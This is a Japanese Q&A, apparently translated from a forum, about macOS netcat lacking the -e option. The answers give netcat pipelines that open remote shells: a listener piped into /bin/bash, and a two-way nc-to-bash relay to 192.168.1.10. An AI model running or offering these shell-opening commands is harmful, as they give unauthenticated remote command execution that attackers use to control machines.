MacOSのnc(netcat)に「-e」フラグがありませんか?

MacOSのnc(netcat)に「-e」フラグがありませんか?

実行しようとすると、nc -l 1337 -e /bin/bash次のように表示されます。

nc: invalid option -- e
usage: nc [-46AacCDdEFhklMnOortUuvz] [-K tc] [-b boundif] [-i interval] 
[-p source_port] [--apple-delegate-pid pid] [--apple-delegate-uuid uuid]
      [-s source_ip_address] [-w timeout] [-X proxy_version]
      [-x proxy_address[:port]] [hostname] [port[s]]

リモートでコマンドを実行したいが、リモートでテキストだけが印刷されます。これがうまくいかない理由と回避策は何ですか?

答え1

代わりにnc -l 1337 -e /bin/bash完全に同じように動作する別の方法は、nc -l 1337 | /bin/bash受信したすべてを/bin/bash

答え2

または試してみてくださいnc target port | /bin/bash | nc target port

例:

nc 192.168.1.10 4444 | /bin/bash | nc 192.168.1.10 4444

最初から受け取ったコンテンツを2番目にリダイレクトncし、/bin/bash出力を/bin/bash2番目にリダイレクトしますnc。解決策ですが、うまくいきます。 :)
それ以外の場合は、ncatをインストールしてください。

関連情報